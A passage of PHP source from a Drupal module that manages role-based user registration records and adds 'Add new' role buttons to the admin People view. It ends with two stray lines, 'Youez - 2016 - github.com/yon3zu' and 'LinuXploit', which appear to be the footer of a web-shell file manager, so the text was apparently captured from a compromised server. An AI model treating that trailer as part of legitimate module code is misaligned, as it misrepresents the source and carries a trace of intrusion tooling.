    $config_roles = $config->get('roles');
    foreach ($required_roles as $user_role) {
      if (!empty($config_roles[$user_role]['form_mode_edit'])) {
        multiple_registration_update_registration_table($entity_id, $user_role);
        // Do not allow set more than one custom edit
        // form for the same user with different roles.
        break;
      }
    }
    if (!$entity->isNew()) {
      // Handle case, if user have different
      // registration forms for different roles.
      $required_roles = array_diff(array_keys($users_roles), $required_roles, $unsupported_roles);
      if (!empty($required_roles)) {
        foreach ($required_roles as $user_role) {
          multiple_registration_update_registration_table($entity_id, $user_role, TRUE);
        }
      }
    }
  }
  else {
    $required_roles = array_diff(array_keys($users_roles), $unsupported_roles);
    if (!empty($required_roles) && !$entity->isNew()) {
      foreach ($required_roles as $required_role) {
        // If config is not available, then we should delete
        // such user from the multiple_registration table.
        multiple_registration_update_registration_table($entity_id, $required_role, TRUE);
      }
    }
  }
}

/**
 * Helper method to handle the operations with database.
 *
 * @param int $user_id
 *   User id.
 * @param string $role_id
 *   User role id.
 * @param bool $remove_uid
 *   Indicator for the uid param.
 */
function multiple_registration_update_registration_table($user_id, $role_id, $remove_uid = FALSE) {
  $table_name = 'multiple_registration';
  try {
    $db_connection = Database::getConnection();
    if ($remove_uid === FALSE) {
      // Check table before insert data to prevent duplicates.
      $user_data = $db_connection->select($table_name, 'mr')
        ->fields('mr', ['uid'])
        ->condition('uid', $user_id)
        ->condition('rid', $role_id);
      $result = $user_data->execute()->fetchAll();
      if (empty($result)) {
        $db_connection->insert($table_name)
          ->fields(
            [
              'uid' => $user_id,
              'rid' => $role_id,
            ]
          )
          ->execute();
      }
    }
    elseif ($remove_uid) {
      $db_connection->delete($table_name)
        ->condition('uid', $user_id)
        ->condition('rid', $role_id)
        ->execute();
    }
  }
  catch (\Exception $exception) {
    \Drupal::logger('multiple_registration')->notice($exception->getMessage());
  }
}

/**
 * Implements hook_views_pre_view().
 */
function multiple_registration_views_pre_view(ViewExecutable $view, $display_id, array &$args) {
  $enable_buttons = \Drupal::config('multiple_registration.common_settings_page_form_config')->get('enable_add_user_buttons_on_people_page');

  if (!$enable_buttons) {
    return;
  }

  if ($view->id() == 'user_admin_people' && $display_id === 'page_1') {
    $result = [];
    $service = \Drupal::service('multiple_registration.service');
    $available_roles = $service->getRegistrationPages();

    foreach ($available_roles as $role) {
      $result[] = '<a class="button button-action button--primary button--small" href="' . $role["url"] . '">Add new ' . $role["role_name"] . '</a>';
    }

    $options = [
      'id' => 'add_new_user_buttons',
      'table' => 'views',
      'field' => 'area_text_custom',
      'relationship' => 'none',
      'group_type' => 'none',
      'admin_label' => '',
      'empty' => TRUE,
      'tokenize' => FALSE,
      'content' => implode($result),
      'plugin_id' => 'text_custom',
    ];
    $view->setHandler('page_1', 'header', 'add_new_user_buttons', $options);
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit